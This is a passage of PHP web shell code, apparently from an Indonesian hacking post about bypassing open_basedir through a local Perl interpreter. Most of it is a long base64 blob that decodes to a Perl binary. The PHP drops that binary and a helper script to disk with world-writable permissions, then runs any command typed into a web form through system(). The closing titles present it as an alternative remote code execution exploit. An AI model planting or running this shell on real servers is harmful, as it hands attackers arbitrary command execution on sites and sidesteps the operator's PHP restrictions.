Qg0FQ4MFhgSHAxgAAADEAQAApPr//xQAAAAAQQ4IhQJCDQVBgwMAAAAA/////wAAAAD/////AAAAAAAAAAABAAAAAQAAAAEAAADwAQAAAQAAAP8BAAABAAAACwIAAAEAAAAzAgAAAQAAAD0CAAABAAAASwIAAAEAAABYAgAAAQAAAH4CAAAPAAAACQMAAAwAAABcjQQIDQAAABigBAj1/v9vaIEECAUAAABMhgQIBgAAAByCBAgKAAAAUgQAAAsAAAAQAAAAFQAAAAAAAAADAAAAoLYECAIAAAA4AQAAFAAAABEAAAAXAAAAJIwECBEAAAC0iwQIEgAAAHAAAAATAAAACAAAAP7//28kiwQI////bwMAAADw//9vnooECAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWLUECAAAAAAAAAAAio0ECJqNBAiqjQQIuo0ECMqNBAjajQQI6o0ECPqNBAgKjgQIGo4ECCqOBAg6jgQISo4ECFqOBAhqjgQIeo4ECIqOBAiajgQIqo​4ECLqOBAjKjgQI2o4ECOqOBAj6jgQICo8ECBqPBAgqjwQIOo8ECEqPBAhajwQIao8ECHqPBAiKjwQImo8ECKqPBAi6jwQIyo8ECNqPBAjqjwQIAAAAAHBlcmw1LjguOC5kZWJ1ZwB7iOwyAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALn​JlbC5keW4ALnJlbC5wbHQALmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5nbnVfZGVidWdsaW5rAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAEAAAACAAAANIEECDQBAA​ATAAAAAAAAAAAAAAABAAAAAAAAABMAAAAHAAAAAgAAAEiBBAhIAQAAIAAAAAAAAAAAAAAABAAAAAAAAAAhAAAA9v//bwIAAABogQQIaAEAALQAAAAEAAAAAAAAAAQAAAAEAAAAKwAAAAsAAAACAAAAHIIECBwCAAAwBAAABQAAAAEAAAAEAAAAEAAAADMAAAADAAAAAgAAAEyGBAhMBgAAUgQAAAAAAAAAAAAAAQAAAAAAAAA7AAAA////bwIAAACeigQIngoAAIYAAAAEAAAAAAAAAAIAAAACAAAASAAAAP7//28CAAAAJIsECCQLAACQAAAABQAAAAMAAAAEAAAAAAAAAFcAAAAJAAAAAgAAALSLBAi0CwAAcAAAAAQAAAAAAAAABAAAAAgAAABgAAAACQAAAAIAAAAkjAQIJAwAADgBAAAEAAAACwAAAAQAAAAIAAAAaQAAAAEAAAAGAAAAXI0ECFwNAAAXAAAAAAAAAAAAAAAEAAAAAAAAAGQAAAABAAAABgAAAHSNBAh0DQAAgAIAAAAAAAAAAAAABAAAAAQAAABvA​AAAAQAAAAYAAAAAkAQIABAAABgQAAAAAAAAAAAAABAAAAAAAAAAdQAAAAEAAAAGAAAAGKAECBggAAAcAAAAAAAAAAAAAAAEAAAAAAAAAHsAAAABAAAAAgAAADSgBAg0IAAAsQIAAAAAAAAAAAAABAAAAAAAAACDAAAAAQAAAAIAAADoogQI6CIAAHwAAAAAAAAAAAAAAAQAAAAAAAAAkQAAAAEAAAACAAAAZKMECGQjAADgAQAAAAAAAAAAAAAEAAAAA​AAAAJsAAAABAAAAAwAAAES1BAhEJQAACAAAAAAAAAAAAAAABAAAAAAAAACiAAAAAQAAAAMAAABMtQQITCUAAAgAAAAAAAAAAAAAAAQAAAAAAAAAqQAAAAEAAAADAAAAVLUECFQlAAAEAAAAAAAAAAAAAAAEAAAAAAAAAK4AAAAGAAAAAwAAAFi1BAhYJQAAEAEAAAUAAAAAAAAABAAAAAgAAAC3AAAAAQAAAAMAAABotgQIaCYAADgAAAAAAAAAAAAAA​AQAAAAEAAAAvAAAAAEAAAADAAAAoLYECKAmAACoAAAAAAAAAAAAAAAEAAAABAAAAMUAAAABAAAAAwAAAEi3BAhIJwAABAAAAAAAAAAAAAAABAAAAAAAAADLAAAACAAAAAMAAABMtwQITCcAAAwAAAAAAAAAAAAAAAQAAAAAAAAA0AAAAAEAAAAAAAAAAAAAAEwnAAAUAAAAAAAAAAAAAAAEAAAAAAAAAAEAAAADAAAAAAAAAAAAAABgJwAA3wAAAAAAA​AAAAAAAAQAAAAAAAAA=";
    $jzm = fopen("jzm", "w");
    fwrite($jzm,base64_decode($bin));
    fclose($jzm);
    system("chmod 777 jzm");
    }
    $str ="#!/usr/bin/perl\nsystem(\"\$ARGV[0] \$ARGV[1] \$ARGV[2] \$ARGV[3]\");";
    $fp = fopen("~jump.tmp", "w");
    fwrite($fp,$str);
    fclose($fp);
    system("chmod 777 ~jump.tmp");
}
echo '<form method="post" action="" ><input type="text" name="cmd"/><input type="submit" name="excute" value="Excute" /></form><hr/><code>';

if(isset($_POST['excute'])){
    if( JZ_IS_WIN== true){
        echo system($_POST['cmd']);
    }else{
        echo system("./jzm ~jump.tmp ".$_POST['cmd'] ); unlink('~jump.tmp');
    }
}
echo '</code></body></html>';?>

Alternative Exploitasi Remote Code Execution

Swiss-army knife for TCP/IP [PART 2/HTTP]

bypass open_basedir dengan perl interpreter lokal